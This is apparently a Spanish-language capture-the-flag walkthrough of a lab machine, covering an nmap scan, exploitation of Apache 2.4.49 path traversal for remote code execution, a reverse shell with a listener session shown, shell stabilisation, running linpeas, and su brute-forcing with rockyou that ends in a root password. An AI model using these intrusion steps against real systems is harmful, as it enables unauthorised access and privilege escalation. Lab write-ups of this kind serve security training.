Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-14 14:21 EDT
Nmap scan report for bicho.dl (172.17.0.2)
Host is up (0.000072s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.49 ((Unix))
|_http-server-header: Apache/2.4.49 (Unix)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Comando Ping
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.51 seconds
Veremos que solo hay un puerto 80, que aloja una pagina web, si entramos veremos que es una pagina web dedicada a explicar el comando ping y puede ser que por ahi vayan los tiros, vamos a realizar un poco de fuzzing a ver que encontramos.
Veremos que nos encuentra un html.html que si entramos dentro del archivo veremos lo siguiente:
Vemos lo que puede ser un usuario llamado punky y se centra mucho en la herramienta ping, vamos a probar a ponernos en escucha en la red sobre trafico ICMP que es el que genera al realizar un ping.
tcpdump -i <INTERFAZ_RED> icmp -A
Pero no veremos que recibamos nada, por lo que seguiremos buscando.
Escalate user www-data
Apache Path Traversal (RCE)
Vamos a ver en que version esta apache2 ya que estuve un rato buscando pero no encontraba nada, vamos a ver si tuviera alguna version antigua.
Vemos que la version es 2.4.49 vamos a ver si fuera vulnerable en ExploitDB, si buscamod en dicha pagina podremos ver que efectivamente lo es a un Apache Path Traversal pero tambien se puede ejecutar codigo de forma remota (RCE).
Vamos a descargarnos el siguiente repo de GitHub que es con el que me funciono.
Y ahora si lo enviamos y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.177.129] from (UNKNOWN) [172.17.0.2] 35486
bash: cannot set terminal process group (9): Inappropriate ioctl for device
bash: no job control in this shell
www-data@20f0d0246196:/usr/bin$ whoami
whoami
www-data
Veremos que ha funcionado, por lo que tendremos que sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Vemos que solamente se podria ejecutar siendo root o perteneciendo al grupo suidgroup y no pertenecemos a dicho grupo, pero probablemente el usuario punky si pertenezca, por lo que vamos a dejarlo para mas tarde.
Ya que no tenemos curl, wget, ssh etc... Vamos a pasarnos el linpeas.sh copiandolo en nuestro clipboard de esta forma desde kali.
xclip -selection clipboard < linpeas.sh
Ahora desde la maquina victima:
cd /tmp
nano linpeas.sh
#Dentro del nano
<PEGAMOS_EL_LINPEAS.SH>
Lo guardamos y establecemos permisos de ejecuccion.
chmod +x linpeas.sh
Ahora lo ejecutamos de la siguiente forma:
./linpeas.sh
Veremos cosas interesantes, pero nada util por el momento, vamos a probar a realizar fuerza bruta con el usuario punky pero en vez de con un diccionario personalizado con el propio rockyou.txt.
Desde la maquina host haremos esto:
head -n 500000 /usr/share/wordlists/rockyou.txt | xclip -selection clipboard
Ahora en la maquina victima haremos esto:
cd /tmp
nano rockyou.txt
#Dentro del nano
<PEGAMOS_EL_ROCKYOU_COPIADO>
Lo guardamos y utilizamos un script llamado Su-Force.sh, y lo vamos a utilizar de esta forma.
Veremos que pertenecemos al grupo suidgroup justo uno de los permisos SUID que hemos visto antes, que seria de este binario.
/usr/local/bin/task_manager
Por lo que vamos a investigar que hace dicho binario.
Pero despues de un rato no encontraremos nada, por lo que no nos queda otra que probar fuerza bruta con el usuario root de la misma forma que hicimos con el anterior usuario.
cd /tmp
bash Su-Force.sh root rockyou.txt
Info:
Contraseña encontrada para el usuario root: hannah
Veremos que ha funcionado, vamos a escalar a root.
su root
Metemos como contraseña hannah y veremos que seremos dicho usuario.